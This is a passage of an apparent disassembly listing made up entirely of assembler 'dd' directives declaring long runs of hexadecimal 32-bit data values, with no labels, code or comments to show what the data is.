		dd 8CC03C39h, 0F6464Ah,	3A1A919Bh, 1754D0E8h, 90B43F00h
		dd 1F4929E5h, 1DED0076h, 0A85C0472h, 700876Eh, 435278DEh
		dd 7E7036C3h, 0D59702D8h, 0D9AAF8DDh, 0E14E54C0h, 0EA309900h
		dd 0AE1D1628h, 0D4C7015Dh, 0B4A1E5F4h, 81F52015h, 0D5834000h
		dd 0C95F8AA0h, 0FCAF008Ch, 24D231CDh, 2700731Fh, 0E795E84Ah
		dd 1D7A61h, 1679E314h, 0ECA913F8h, 81750900h, 0D8E9C9CEh
		dd 187F0001h, 895DBC60h, 934CD6CAh, 53490BA8h, 0DE90006Ch
		dd 3BDB943Dh, 0C8DC9B0Dh, 43CE4F01h, 2ABF6415h,	5D68050Fh
		dd 0E2828100h, 0A0ED722h, 7EA13835h, 572B0098h,	0E13D596Bh
		dd 7120770Bh, 0E5CC013Ch, 0DBF8FB9Fh, 5C30033h,	653B554Dh
		dd 0AF00885Eh, 1960B694h, 0E14CABFh, 0FE85F83Ah, 4D56DAA0h
		dd 9102FD3Fh, 8621BCDh,	0A19C878Dh, 3887AC90h, 8E8C00C6h
		dd 0EF25C866h, 2813205Ch, 0AB0C8A11h, 0C036218Fh, 0AC86A29Eh
		dd 970EAF35h, 2F2EF7DBh, 4E72C019h, 75665Eh, 805141FEh
		dd 492AEDBBh, 94F84C00h, 0B01C290h, 65FF078Eh, 0A02C6CA5h
		dd 407E76B8h, 3BB6F07h,	0AFAF4Ch, 0B4C5B9D1h, 54B20058h
		dd 0B5416504h, 6F004FE0h, 1CDF5B25h, 98AAE69Bh,	8203A028h
		dd 27DC0035h, 21550985h, 6C00D7C6h, 7E027876h, 314204h
		dd 4054AD34h, 84A5DD33h, 0C1050A00h, 0F80B27D1h, 64F90788h
		dd 0F179CD69h, 344808E8h, 4C013D3Ch, 0E478EAC4h, 0E5D0B4B5h
		dd 11B7000Eh, 4AA4C648h, 8D006845h, 4B9DCF5Dh, 4C85D708h
		dd 5900F84Ch, 0E567869h, 9A00E433h, 4EBD253Fh, 3827BB67h
		dd 2A008681h, 5465965Bh, 8A007BE3h, 98DC7425h, 1BF77C8h
		dd 0FF33118Fh, 6023B1D6h, 416BCE7h, 0E440EE24h,	7FD9B740h
		dd 0E0CC0031h, 34B3693Eh, 0B600800Ch, 7DD8D3EBh, 317861Eh
		dd 545EA665h, 72BB8EEAh, 9464CFCAh, 4104A505h, 0CEC4E5BAh
		dd 183C14E1h, 5513EC04h, 656CA0E9h, 630D007h, 0BD4EE867h
		dd 0A0130E05h, 0C069100Fh
		dd 0C9D96D90h, 87461B8h, 3042974Ch, 0D17C6310h,	0CBC3BE07h
		dd 60C050FAh, 7CC767h, 2D8283CFh, 0EF5F68B0h, 54FB9B02h
		dd 0E9660F63h, 48402927h, 0CEB1204Ch, 1120C951h, 0B7E9C6EEh
		dd 0EB6FC318h, 0F86788h, 0E5AA7530h, 0BCC69E95h, 0E9AEEE00h
		dd 948E4015h, 0DD517967h, 439C50h, 3A55A13h, 0E7F85033h
		dd 1A57871Fh, 0EC457543h, 0A121E7E9h, 0BC50F705h, 27160DBh
		dd 1DA27C74h, 0BE60AC9Ah, 69067A1h, 0E0CB3607h,	57F03D7Bh
		dd 3B69118h, 277FF91Eh,	780ACFD3h, 9CE454BEh, 0E2F5238Eh
		dd 41810ACEh, 0EC7892DEh, 52F96E8Ch, 0D3EE403h,	97C1A0h
		dd 32710BC8h, 78F46275h, 68AD1000h, 8A82C7F2h, 39A260FFh
		dd 721FAFDBh, 922D4800h, 1A5F8B19h, 0D63C0064h,	61BA038Ah
		dd 74004334h, 0CEE9F47Bh, 2AE59531h, 3A90F6ECh,	91EF73F5h
		dd 1CBE2588h, 0B680247Bh, 53799BDDh, 0E6813F63h, 0E0067F0Ch
		dd 7B057731h, 13434495h, 5243780h, 0EDDB1E64h, 4E98611h
		dd 510051A0h, 8A3B58DCh, 5CA6E6h, 16EDE3CAh, 0A0B2A93Dh
		dd 0C4F4C07Ch, 7F045D00h, 0FC7EEC14h, 67A51716h, 38D4407Ah
		dd 0E9D2698h, 80F1313Ch, 0EE0111DDh, 4875A4h, 0AB14A97Dh
		dd 28DCA00Ah, 8C298867h, 8E0DE740h, 0D6F61EA4h,	0CCB65FFCh
		dd 0CC2034D3h, 0E91DF91Eh, 2345C643h, 26B6D989h, 18289FF0h
		dd 281F2FD2h, 0E0008481h, 5F0E4871h, 0ED6E19h, 532C41Ah
		dd 853143D7h, 4FBA3D06h, 0B03028B8h, 5B951311h,	0E939006Ch
		dd 80CEB1E1h, 0A0D298C1h, 5A707807h, 3E3F0190h,	28D1544Dh
		dd 75B98722h, 5E30724Ah, 0E456BFC6h, 377C0014h,	85FB8405h
		dd 9B00C922h, 0B9CC0747h, 184DAC70h, 41E5295Fh,	0C03101Bh
		dd 660D1452h, 0DEF9D07Ch, 4BD10042h, 0B1E9DB7Fh, 7039E34h
		dd 0E39FDDB4h, 1B02F031h, 0E1F1C00Dh, 9BBB60F0h, 0AA8A307h
		dd 9287B510h, 75E12B96h, 2E09000Bh, 1611BC6Eh, 0DD00F578h
		dd 495671A1h, 0C302BD17h, 0EE283128h, 0B5059900h, 0A8F4707Dh
		dd 1A779DEh, 3842232Bh,	0D8B224E6h, 7F001741h, 0F230372Fh
		dd 1D89581h, 4661DD8Ch,	475C089Dh, 0BD40FCBDh, 0A00E2403h
		dd 0A3AEF4BFh, 343E03C7h, 0C5B22EF1h, 0BE18091Bh, 40CE8020h
		dd 991200FDh, 883529D5h, 1303A14Dh, 2BA3C330h, 402801BDh
		dd 0F1AA5A3Ah, 3418E821h, 49142010h, 4D2A5200h,	0ECA8369Dh
		dd 0AEEA5818h, 86117188h, 12415602h, 193B2935h,	1611011h
		dd 97EB1D41h, 80543B7h,	7860816Bh, 75992740h, 0C4779ABh
		dd 19DA51BCh, 441E8420h, 2930F201h, 90B37ACEh, 0ACB05CE9h
		dd 8603919h, 0E82181A1h, 15EFB2D8h, 0A006B8FBh,	0E335304Dh
		dd 0E9FA6568h, 35833E2Eh, 0EAFF4100h, 5557FD58h, 30CAAC29h
		dd 15114105h, 739F0135h, 41809621h, 0E7072FDCh,	349A304Ch
		dd 7E556D60h, 0E351C136h, 80956958h, 0F6FD3310h, 4D314B5h
		dd 0B2FE0330h, 648180B3h, 740321E0h, 0E7A62825h, 13A090E9h
		dd 27E300F6h, 0F3B04B37h, 9500DC53h, 3850B567h,	6342F4h
		dd 6DC6C9AEh, 0CFC56501h, 0DFF2FD71h, 5D275200h, 6636EED8h
		dd 7F4D1D60h, 33003C8Ch, 820B6348h, 0FE745C3Dh,	10CB53Fh
		dd 0DC898A76h, 4CF8610Ah, 0ECA93FC9h, 246E030Fh, 92337CE1h
		dd 0D63080F7h, 0FD6D94D2h, 0F9AD0004h, 3BF60A8Fh, 0C93F9C2Dh
		dd 0DC2906DBh, 74692E6Ah, 0D591803Eh, 8F00D7ECh, 0BBDF4D4Eh
		dd 1B85E5h, 0CF79744Ah,	663EDE6Dh, 69915800h, 2EEE6387h
		dd 406265F1h, 81F5C12Dh, 0B7B0F3B5h, 0BCF71A3Bh, 4CAB0058h
		dd 427894C0h, 70260EEEh, 0FA8CE172h, 0D1000521h, 0FEA6F1C1h
		dd 578D1Ch, 1636C37Ah, 54E011FFh, 615D2F19h, 59183058h
		dd 7395C004h, 0FC32E2CAh, 0C1CEC220h, 0C9433F53h, 7A805D3Ah
		dd 372CF141h, 0EE1568BBh, 3BB88E35h, 14880DAh, 3C0812F4h
		dd 3E550388h, 0C5BE95C7h, 0ED115107h, 87E02603h, 1ECC1C08h
		dd 0D2BC30h, 2060B4ADh,	15888CDFh, 4F42036Bh, 0AE3B7F1Ah
		dd 83767D3h, 0D0E0219Ah, 13DB15Bh, 5CB9FE43h, 0E05504E5h
		dd 3C01D7D2h, 0D13BC789h, 8BF872A8h, 0EE6A0F43h, 75A0CDE5h
		dd 0C4028157h, 6154B573h, 0A900E0E0h, 0C7342F20h, 4C44F586h
		dd 2D301BF7h, 0FE3C0321h, 0DCB83F01h, 0DBE08193h, 212F0898h
		dd 0FE7E35A1h, 0E1AAD900h, 0AC7BBD4Ch, 25430003h, 5360B3F2h
		dd 0C0C0B204h, 1036B9BEh, 0D5020064h, 0F1D01EAEh, 0F874C486h
		dd 0CF37BD00h, 3E399189h, 1C20FD94h, 0D411FB88h, 7848C0BCh
		dd 6003E8E8h, 0D38A5E0Bh, 4AB8004Bh, 63B6B3C9h,	32003378h
		dd 0FB0EA16h, 0B0F2D5A8h, 51FE0100h, 0E8026A38h, 2002DB14h
		dd 0D2F677B6h, 75209E31h, 58308C6Ch, 1049D106h,	6DEC00DEh
		dd 6029CB66h, 0D00B123h, 2A98785Dh, 3D205C9h, 0E054F409h
		dd 23B0CA4Ah, 0E8A434EEh, 9BBE9412h, 1D00145Fh,	457DBFD5h
		dd 0C53301F8h, 0A0D38D5Ch, 0B2080B7h, 23EA4D62h, 0A0495C3Ch
		dd 0BA093733h, 22422100h, 60B652EDh, 0AFE20016h, 3B8BEAA5h
		dd 0CD02E90Eh, 0F7458767h, 37F0B043h, 0B85A11FEh, 9F2B8834h
		dd 54FE0064h, 3BA79A44h, 0F5BE3900h, 26AD1D36h,	0F15D1708h
		dd 4A9B0152h, 0FEA790F4h, 92E56880h, 17247DBCh,	0C2283C56h
		dd 0BE5FF9C0h, 184BD2Eh, 63BFB86h, 886679C2h, 603EC7A1h
		dd 0B84EFE23h, 2E229446h, 0FE20A000h, 54A23AAAh, 0F31B303Bh
		dd 855FA981h, 0A3A61F00h, 573DFCEBh, 393B603Ah,	44AC4E9Dh
		dd 0E732D400h, 5554946Fh, 0BDE00016h, 0D9614588h, 3800BC34h
		dd 0E5D5B2C1h, 15F21F56h, 0B8913F39h, 8D4CB862h, 0CF70400Fh
		dd 48948FFh, 0F04B3F61h, 886CCF82h, 0E0CCC7F7h,	45F67C18h
		dd 0DE0BE302h, 0A071DCD8h, 0BE5246A0h, 3431004Bh, 0AFEF15E6h
		dd 0C015174h, 1B98A626h, 3DCCF4C5h, 0E4F1C064h,	0DC0F1530h
		dd 79034FFEh, 35554D85h, 1C21753Fh, 0C09DF4FAh,	0AAA6661Eh
		dd 0E338D4C3h, 0B6B29853h, 32B8F78h, 8D73DA04h,	0B100F918h
		dd 0F53EC485h, 33FDB2Fh, 90A1FE66h, 2104F8BBh, 0D50988CCh
		dd 933E78C1h, 69DCE980h, 0ACAC5A6h, 13738F00h, 25C9A454h
		dd 4593042Bh, 9D3828EAh, 5C68A95Ch, 43FE2881h, 0E3CBCh
		dd 5FFE216Dh, 0C301B6Ch, 0B447187Bh, 5D3C0690h,	12E7808Bh
		dd 0FC2B611Ah, 0FE6901E5h, 0F33D0D52h, 0BCF45209h, 13FBAE2Dh
		dd 67962C8h, 692A6E0Ch,	5A5E000h, 0B227436Dh, 0F020EB2Ch
		dd 4816888Dh, 5C19B400h, 2F38CC61h, 6E84A0A9h, 0C633010Ch
		dd 0F447E14h, 6990208Dh, 5823D400h, 0BB3E52B6h,	220B00FEh
		dd 0B1177FBFh, 0AE30E0CDh, 0B80F40A6h, 70145843h, 0CF5EA01h
		dd 0DCB1C3C4h, 4C2CB7E2h, 33D1108h, 57AFA6D6h, 4142E23Fh
		dd 9FDC11E7h, 0ADE302F5h, 3ADD6672h, 0AA61B46Fh, 8411ED34h
		dd 20901AE5h, 61EBDD84h, 0C048BB9Fh, 0D89D0057h, 971119ABh
		dd 761E65DCh, 0E817521Bh, 808B8008h, 343D0CD5h,	1001F1BFh
		dd 0B7E5259Ah, 0D850A7DFh, 1C341D5h, 0BF2097CCh, 74F001B5h
		dd 0A5EA4598h, 4A2FD217h, 21BCAC0Fh, 0C4590CA9h, 0F0BBD5F0h
		dd 0D45E5073h, 231F2689h, 90BD144Ah, 1316B016h,	6EB90F9Ch
		dd 18B518DFh, 0A002F2A5h, 18879E94h, 0B9E46895h, 7DF62833h
		dd 9A38008Ch, 0DBCE645Eh, 0C62CE3F7h, 0E0823C55h, 3EF01AAh
		dd 74C11A52h, 81C84599h, 802D6E20h, 37442628h, 39918E29h
		dd 5C5903FEh, 4AEFAB12h, 0C0046350h, 43B18635h,	9A41CA01h
		dd 628E45B8h, 28893860h
		dd 24CC3F4Bh, 734807Dh,	0A1E76D09h, 3010170Eh, 151ABC74h
		dd 60306B74h, 1CD4C2Ch,	0AC868D56h, 20ED4357h, 701208B4h
		dd 7C0517EFh, 280330CAh, 410B4801h, 62E1EC19h, 0C6B89985h
		dd 1DE420DFh, 0B653AE61h, 9C40060h, 4B86DCD7h, 85A8C83Bh
		dd 1E700F86h, 92908159h, 24B7B340h, 59D00A52h, 1348E008h
		dd 0E2680585h, 0B57C4A44h, 88F5C484h, 0E40DD5E0h, 18922314h
		dd 11BC8401h, 94934510h, 75320892h, 196F9067h, 861E1AFBh
		dd 7A8AA0Eh, 1288CAEAh,	95AD604Ch, 6B1FC24Eh, 5601EB80h
		dd 277C2FA5h, 10898187h, 2E343C7h, 0E5383100h, 0BE0897DAh
		dd 668118C4h, 142A5970h, 0CA61CA0h, 77FE240Bh, 20888909h
		dd 81AACA1Ch, 11C06094h, 0E5931A02h, 0CD2EF113h, 80B58008h
		dd 4436806Ch, 8900244Ah, 184041F7h, 0F020ABA6h,	94B6069Eh
		dd 10A50DA4h, 5244D700h, 95B21636h, 309B06E2h, 69C1A480h
		dd 831E9481h, 0CAF309C1h, 70ECE8F5h, 0A04955EBh, 99B1020h
		dd 4DA490F7h, 0DEB0DCA0h, 594DC471h, 0D058260Ch, 5C35F740h
		dd 0E0DA24DFh, 66890528h, 0AAD440D9h, 0E288B354h, 0ED7080F9h
		dd 0E3E137DFh, 2058BACAh, 4085B72Fh, 0AB0D9344h, 3B400C68h
		dd 20DAE40Eh, 199BEC09h, 0B017C42h, 0E225DDF9h,	3F367C22h
		dd 37558852h, 72108A54h, 0B411BCF5h, 0C92D9300h, 0E30882FDh
		dd 23D540C0h, 4887BF02h, 81302CF6h, 84E013B1h, 141032F9h
		dd 100C83DBh, 0AA829698h, 8822874Dh, 0BD530369h, 0D13D7100h
		dd 0E8A05A2h, 58F3B89Dh, 0EA81D83Ah, 60EB14ACh,	0F239571Bh
		dd 0B150006Dh, 0E5C8BE7h, 0EE290F86h, 0E149AC03h, 0EADF80A2h
		dd 9ED3F048h, 93A64E1Eh, 0E856C9C0h, 11961F81h,	0F7755Ah
		dd 6551AB48h, 7636AF23h, 6C88001Bh, 0B8342578h,	0CDE84B40h
		dd 9637CB0Eh, 0B24820ADh, 253BA04Ch, 82014B5h, 1EA6BE36h
		dd 0DFE02715h, 74127CACh, 4FF052Bh, 0C83BEE3Ah,	89030834h
		dd 4381A91Bh, 0B564C0D7h, 80A89459h, 565180C2h,	500C19Fh
		dd 23C5855Ch, 64EF4197h, 497C4843h, 0B6BCC82Ah,	848900A8h
		dd 65EDE62h, 0F8FA18FAh, 0DB276E00h, 57B29AC0h,	48B57032h
		dd 0E726A80Fh, 64493064h, 3A0A0A70h, 8CAB184Ch,	538C6180h
		dd 38AC4FFh, 0ECA26BFh,	6A906F14h, 4702ADA7h, 3C1BFEA1h
		dd 0BDC040B2h, 623900EEh, 819DC97Bh, 0D105471Ch, 0D6020AF7h
		dd 0EA042Fh, 0B2861311h, 0FEB1BCF9h, 3DA5318Fh,	0C0B74D20h
		dd 0C2161FC1h, 0F10CD183h, 39EA3984h, 1D00B907h, 3E67DE5Ch
		dd 0A105946Fh, 70C323E8h, 6E43007h, 0E6C75125h,	0BE714B0h
		dd 7B90F0E5h, 9F8D005Bh, 0A28B236Dh, 3FCB8BAh, 64239C7h
		dd 0FA5E670h, 0BCA930B0h, 33360419h, 68002771h,	61871523h
		dd 13A8332h, 114B2F2h, 9EF4A597h, 8C793780h, 182E7742h
		dd 59F9C6D9h, 73006986h, 9B8D491h, 6FC46CBh, 51D3111Ah
		dd 9401C13Bh, 6286124Ah, 93C4012Bh, 0BBA30089h,	33BE4895h
		dd 40A70F8h, 0A0BC113Bh, 530A2601h, 6180885Eh, 69FEE0D7h
		dd 0EF0CEE09h, 8C631BCh, 0F061C365h, 37B8FEFAh,	5B00F1C1h
		dd 0D27612DCh, 30167F28h, 0D849B13Eh, 9A1E9845h, 600551Bh
		dd 13E2E3D9h, 161C1880h, 39C4D829h, 0CE280100h,	484F8B5Dh
		dd 5F41030Dh, 0E39121E9h, 0FCB9D2E9h, 6A3B763Fh, 8E3880E4h
		dd 0CD085DF2h, 515C0079h, 5246A63Dh, 4005A22h, 1A170A49h
		dd 0E0803A9Eh, 0BAA820FFh, 29AAF700h, 243CD08Fh, 87F01982h
		dd 80B4084Ch, 8F504D21h, 18AA86FAh, 1914BDC3h, 0D8A660BEh
		dd 1986A930h, 7AF8BF20h, 5C10026Dh, 381673DCh, 17035444h
		dd 7C3FA35h, 0BD39F813h, 91EB3260h, 5A300699h, 4B79118Fh
		dd 109F8E4Ch, 8F514A01h, 60380618h, 20014B3Dh, 0BBE3B737h
		dd 5DD07FFFh, 3011CDEh,	125144D6h, 689490E1h, 0BC003D95h
		dd 8501760h, 1137601h, 0FC527F04h, 201BDF9Fh, 2100E280h
		dd 0D0552279h, 11C699h,	0EE86316Fh, 5BDD0E0Fh, 7406C324h
		dd 8F61BE44h, 8BD0D939h, 74082270h, 0AFC106BFh,	0B80331A8h
		dd 0CCD45118h, 0A6B88DEh, 0CB7C0034h, 357156EFh, 4F77ABFFh
		dd 0D6388406h, 3912A1h,	4B6CE20Ah, 50600890h, 0FB83860Eh
		dd 211E8C1Ch, 4B0505D0h, 202585A9h, 3D278EBCh, 490621C0h
		dd 44A8EA21h, 68006DDAh, 65384361h, 938D88h, 90E2639Bh
		dd 51508A2Dh, 42CDF601h, 5EA373Bh, 90BB61D0h, 7E8A694h
		dd 566B4360h, 6EBFA01Ch, 3814FD70h, 39885D15h, 6238164h
		dd 0CF8F0D66h, 0AC717986h, 0F401417Fh, 0FAE1BEA7h, 0CBF17621h
		dd 641D198Bh, 15A0478Eh, 4DFEDD8Dh, 9F44674Ch, 0D280D4A9h
		dd 2753DAACh, 0EA767871h, 80615459h, 2C4D00BCh,	83047FFEh
		dd 6D0099B1h, 0F52B1954h, 92E2C198h, 888F15E8h,	0AB139415h
		dd 0E8404056h, 0C8AF2BB1h, 0BBF3AE00h, 11EB3915h, 0ADF209h
		dd 3F2E4DB6h, 10B03703h, 541FE491h, 6A9BDC40h, 36343Bh
		dd 0B3F87DC5h, 3CA904BFh, 0C4816892h, 0A66980C3h, 0C280123Eh
		dd 78B700F9h, 0ACD1326Ch, 99182783h, 4529BDABh,	877C00E1h
		dd 498AAA8Eh, 0FD01E49Bh, 0E75113E9h, 0EAFC715Eh, 5D36076Eh
		dd 0C065D9DCh, 6233C811h, 5A003C98h, 9EF9FF32h,	902283C0h
		dd 5D4403C8h, 20E7FB37h, 8F14103Eh, 0C2F4BA70h,	48035184h
		dd 1258D8h, 83EA3A97h, 0B387FCEDh, 8B67E703h, 0A2A9714Eh
		dd 0E8A08A3Ch, 28830411h, 5CFAD38Fh, 0F8105E31h, 73008F21h
		dd 0D8EF72A0h, 16462679h, 20990DA1h, 398C4974h,	0BA016491h
		dd 131CAA42h, 0BEBF1180h, 0B6E511A4h, 0EA15F802h, 407357A5h
		dd 483F6316h, 0A1222C53h, 45F8200h, 36B306CFh, 7F4E001Fh
		dd 5408E2DEh, 1C37AD71h, 0F905985h, 8F872Dh, 42321F2Eh
		dd 0C3EB0947h, 0EE39202h, 4C7AD639h, 4B6704D0h,	61680891h
		dd 0D103D0E8h, 0C5214B80h, 9D780C00h, 0EA518558h, 1A6E65Dh
		dd 0A81D6FCCh, 0F069B93Eh, 2892170Fh, 0F9324B00h, 37FB2225h
		dd 0FC3F001Fh, 4F5D3C2Bh, 230EBEFDh, 84422E49h,	4CC8A94Eh
		dd 0ED800090h, 0B2F0CF50h, 720C0B7h, 4F021DD4h,	1EF25373h
		dd 3285C6C0h, 0A15039B8h, 8E04DCE0h, 65366112h,	96C1C81h
		dd 0C1D4EA21h, 0BD970C83h, 7E582627h, 9E59457Bh, 0A0FF0174h
		dd 0E952611Dh, 277E3980h, 53D32A66h, 0C9DF20C5h, 0D5B52401h
		dd 2830B426h, 0C2A10A76h, 401867F6h, 0F7A63045h, 5B0E7909h
		dd 80B4420Fh, 448AF196h, 0F3EF3E89h, 6ECDFD80h,	55168B60h
		dd 34CA3D13h, 0C3A5BD00h, 0ECFA9983h, 0B56F011Eh, 535EC071h
		dd 2597FCCAh, 80B9D933h, 0C6B83D64h, 630156A0h,	71B689CAh
		dd 5C3207BFh, 79F45703h, 0F1075A58h, 593550D6h,	8B784681h
		dd 5D0A29E0h, 91802020h, 0F60968FEh, 0E3F10087h, 87D734FEh
		dd 3F0C1100h, 969B2721h, 6FB40F42h, 0EEC0836Ah,	6718F6E3h
		dd 0F0B3AC2Ah, 98E5EC01h, 5F093D3Eh, 3A920DCh, 0E4177CCh
		dd 0B5C0951Bh, 351C516Ch, 56C73DDEh, 805B1F8Fh,	4B9A4F1Ch
		dd 8EF63761h, 644DE0F0h, 0E9C05016h, 65FFE2D6h,	9014988Bh
		dd 0D4D154E8h, 0A58A70D8h, 603CE474h, 0AB118Dh,	0A59FBD7Dh
		dd 0C9C70D9Dh, 0BA7B4C04h, 4886EA60h, 0F0249130h, 2C8602B6h
		dd 40F810B3h, 0A9761308h, 75FC8A73h, 191BE0Eh, 7CE02170h
		dd 0DFD0EF2Fh, 0C5F90ED0h, 782183C2h, 60DCCBABh, 0ED2430CEh
		dd 38122095h, 1F10F42Fh, 8EEDC0D6h, 98E6E269h, 740E00B8h
		dd 5561EBCh, 60C4D636h
		dd 0C11C9959h, 320F808Fh, 5086C464h, 0CFB66900h, 0F3949FE0h
		dd 0B0F0001Bh, 1E271957h, 45079EBFh, 4D391809h,	84F1670h
		dd 0B4781C22h, 1CB900C3h, 0A19C5BFDh, 0EC62DD00h, 3B6EDCCCh
		dd 0D79A0025h, 0D9BFD0BDh, 0EF2E26FAh, 0DA00478Ah, 0E21EDB50h
		dd 0B93101D1h, 0D7D50D35h, 8EF5E010h, 0DED29903h, 0ADD6FB53h
		dd 4B1A046Eh, 41E4883h,	10D5FB3Eh, 0A41F4997h, 802DD0F4h
		dd 53CD619Ch, 0EFFB4057h, 79397A66h, 3E173408h,	0CA61C738h
		dd 0C118B020h, 85032F84h, 7DFA96CAh, 46D11082h,	185068DDh
		dd 4CD5E88Ah, 0A669561Bh, 520C8078h, 0D71CA1D1h, 4D1071B1h
		dd 50B2F2D5h, 42601028h, 888F26Fh, 56D5C004h, 0D3F8602Ch
		dd 378B44A0h, 0D116C8CCh, 191CA652h, 70BEFAEFh,	5456D103h
		dd 14145F0Ch, 0CB1F4C55h, 405B14FCh, 605029DEh,	0EBEFADD3h
		dd 18F78700h, 937AA2A4h, 0D670A8D1h, 43AB073Ah,	0D315EE72h
		dd 842E1D9h, 42FB4FCh, 0A87F7CACh, 0EFAC10C5h, 5719B420h
		dd 0AAC80034h, 5F27709h, 0B810D050h, 1980CD8Eh,	0DAED872Fh
		dd 0A9F1DB11h, 0BA0D9E0Ch, 69C6D839h, 185925E7h, 49C85049h
		dd 0F00130B3h, 3F6570D7h, 3630A81Ah, 90154973h,	2D410A01h
		dd 87D420B0h, 0A302F010h, 7DD85390h, 0B9CC3045h, 3F0B5969h
		dd 0EB486F60h, 49F1C4h,	511C8973h, 5ED28CF0h, 28E8F698h
		dd 0CB58710Eh, 4FA5424Ch, 8C0DE2DDh, 1A98A0E0h,	87DCEB0h
		dd 0E09AB2C1h, 0E76C7844h, 67264921h, 402B08D4h, 801F10CCh
		dd 0AE1C0700h, 0E6DE7356h, 0A62D0092h, 964306C1h, 45B881F2h
		dd 2CB07700h, 0E4688F9Ch, 0E99B60E3h, 785CA383h, 8113E800h
		dd 55BA10CDh, 6D778033h, 0D11B401Fh, 0C95E90C6h, 95540089h
		dd 0A6CFDEF8h, 4A1E70FDh, 0C4C339EFh, 8601EACDh, 0ED3A0529h
		dd 7235B90h, 0C18BC860h, 21DC50D3h, 2AF840B4h, 0B90146F8h
		dd 0EAD7C61Eh, 31B3C35Ah, 803AEE1h, 5CF58224h, 0C8380026h
		dd 8DDE831Dh, 7202A64Dh, 0F1851E0Eh, 0A510844Ch, 0F8E7EC87h
		dd 6014505Ah, 0D8B040A8h, 1EE78409h, 4FF800D9h,	3FC7E1E8h
		dd 0E9064596h, 506253DAh, 422CDD49h, 0DC1098A8h, 0F17E3CEDh
		dd 15542413h, 0E728604Bh, 0D338C089h, 0FA9F80BDh, 0B091B8A5h
		dd 0C9803288h, 0E8DBCAFBh, 5D0D0FF7h, 0A008674h, 7772C3CFh
		dd 0AB9B7006h, 1C28D337h, 0D8F7A9C5h, 135958DBh, 1EB1DE00h
		dd 6BEAD4D6h, 0A0457F8Fh, 7FBFAABh, 3A29D232h, 3D580CCh
		dd 0C8C0024Fh, 77CD5D9Fh, 10420085h, 0D0F46FB2h, 0D148EE0Eh
		dd 6A12250h, 4357D387h,	300AC8D6h, 903FF184h, 4D4068A8h
		dd 520844F8h, 7EFD7803h, 40A2F285h, 0F8D9D829h,	0D83D14CAh
		dd 0ACB08C72h, 0CD048DE2h, 2DAF5EB2h, 0C40511Ah, 9660097Fh
		dd 472A0310h, 245BEE48h, 0E2304A1Ch, 146A4957h,	0A1D62C80h
		dd 0D150369Ch, 42E9444Ch, 60A53AF0h, 0F7F406A6h, 850329F6h
		dd 58E11ABCh, 0D915E81Bh, 99CB03D0h, 78CC5E80h,	1C454022h
		dd 83D95453h, 27E76211h, 0CD5EB119h, 0AC08A329h, 0DBF5D614h
		dd 0D8B6123Ch, 5877880Ah, 19215241h, 629023D3h,	3C76502h
		dd 60F081D2h, 0DDE8E6B1h, 47AC007Ah, 0D4EE1143h, 0B0C1D209h
		dd 3C8F538Dh, 48978E70h, 0E501B8A8h, 0DF4525FFh, 427891ABh
		dd 0C3D40A01h, 748FF2A6h, 3728A874h, 1F78B003h,	70814484h
		dd 98689688h, 449C2A5Ch, 0DC6400D4h, 49C2FBE3h,	3A00AC5Eh
		dd 0C487E843h, 9A4D230h, 7D41F780h, 43AB0C04h, 0C2843B13h
		dd 0A38C90CDh, 19E8F880h, 81DBED20h, 0F0043150h, 8A607F0Ch
		dd 0F7C2FD81h, 0B1A0A0A2h, 781560D9h, 0F2D5544Ah, 5E94060Dh
		dd 0C8404126h, 191DD425h, 10DBA44Dh, 1C38F4BAh,	1B89FD05h
		dd 0C84A7F53h, 59809882h, 0AB954FA0h, 583E0904h, 0FCA0CBFCh
		dd 72D30BC7h, 7F3F390Ch, 3E4917Dh, 91C99F1Eh, 7809CFA9h
		dd 390BB6Ah, 8E04F564h,	3CF03D58h, 9C007448h, 3AFCAA2Dh
		dd 8031D26Ch, 1AA82848h, 11685E11h, 7311A3B1h, 10DC1282h
		dd 8C4057EDh, 0D61084D5h, 0C01049AAh, 7060701h,	38A39E4Dh
		dd 80FE8083h, 8F190042h, 5A7BC782h, 79F6A335h, 1263100Fh
		dd 3BBDBD40h, 0D4F0809Eh, 0E606B991h, 777400FCh, 43686E8Eh
		dd 141C27F6h, 3200F15Fh, 961B4980h, 0F0A200BBh,	744B0F9Bh
		dd 0BC03C566h, 4FDE3962h, 1D5EE0BFh, 69100DFh, 1771837Fh
		dd 9300D5DBh, 1B69505Fh, 0F336FAh, 8744BA78h, 0FFB5BB9Ch
		dd 75B7C600h, 0CEA5E3EAh, 40DB0049h, 167EBD6Dh,	0B4C9754h
		dd 1925EFh, 6C5C8810h, 0DAB0034h, 956D1F16h, 701A80Eh
		dd 0CF41464Eh, 0C3C22E4Ah, 2FAB1D7h, 25B3E8h, 47A2767Bh
		dd 0BAA83A6Fh, 0AC5D0C00h, 0A5D94C06h, 84CA30F0h, 0DFEF6360h
		dd 1DC32807h, 8E303A2Eh, 0A146E9h, 0D74ED345h, 251895FDh
		dd 0DE79DD00h, 35E1F965h, 436F001Ch, 0D3EE4A01h, 0E00F2D8Bh
		dd 20177257h, 0F633DAC9h, 51EF00C3h, 4E9C0156h,	9EC02AB9h
		dd 0D00A5B68h, 1AF000BCh, 77697A6Ch, 4705F14Ch,	5B7F14CAh
		dd 493F9300h, 7BB85452h, 9AE200A5h, 8BB31C68h, 310098CFh
		dd 0F451DF03h, 857056h,	743F0989h, 21D273D6h, 0EEA1B0Fh
		dd 9B0B4Bh, 0BF93E3E1h,	9D19004Ch, 956C08F7h, 821C4B2Ch
		dd 26808B01h, 1ED6A357h, 38F7006Ah, 0B73D5AC2h,	1100CE06h
		dd 5A44B43h, 45F2Dh, 0C9CA3246h, 6E4D8F0Fh, 57E2BF00h
		dd 4E95CFB4h, 4F230E93h, 1E82E59Fh, 2CC0C2A3h, 0F400444Bh
		dd 0ECD00DB1h, 5F6A6h, 9C8F7395h, 539D2F06h, 7FD12B0Ch
		dd 0CFD07Ch, 926B786Ah,	2AEF5A18h, 164648h, 8BD147C5h
		dd 3D45407Ch, 9F8F6CB8h, 3007504h, 0DBC77443h, 0EB31DF00h
		dd 0C453E8CBh, 95FF005Ch, 0B701B489h, 1FE00F97h, 0E2F2B11Ch
		dd 7D493500h, 3F347248h, 6D80C2B3h, 2AC3B0DEh, 3005131h
		dd 6C2BDF3Bh, 4C1728B6h, 25007F71h, 99407832h, 6239D1ADh
		dd 0C1798327h, 84DA1088h, 0AF123494h, 699D8840h, 0D8913Fh
		dd 941ED437h, 6A39F0C7h, 1336500h, 7BE8F6D5h, 0FC4C50B6h
		dd 697D1C1Dh, 6E250042h, 850FB5F7h, 0D595ED00h,	5E567F3Ah
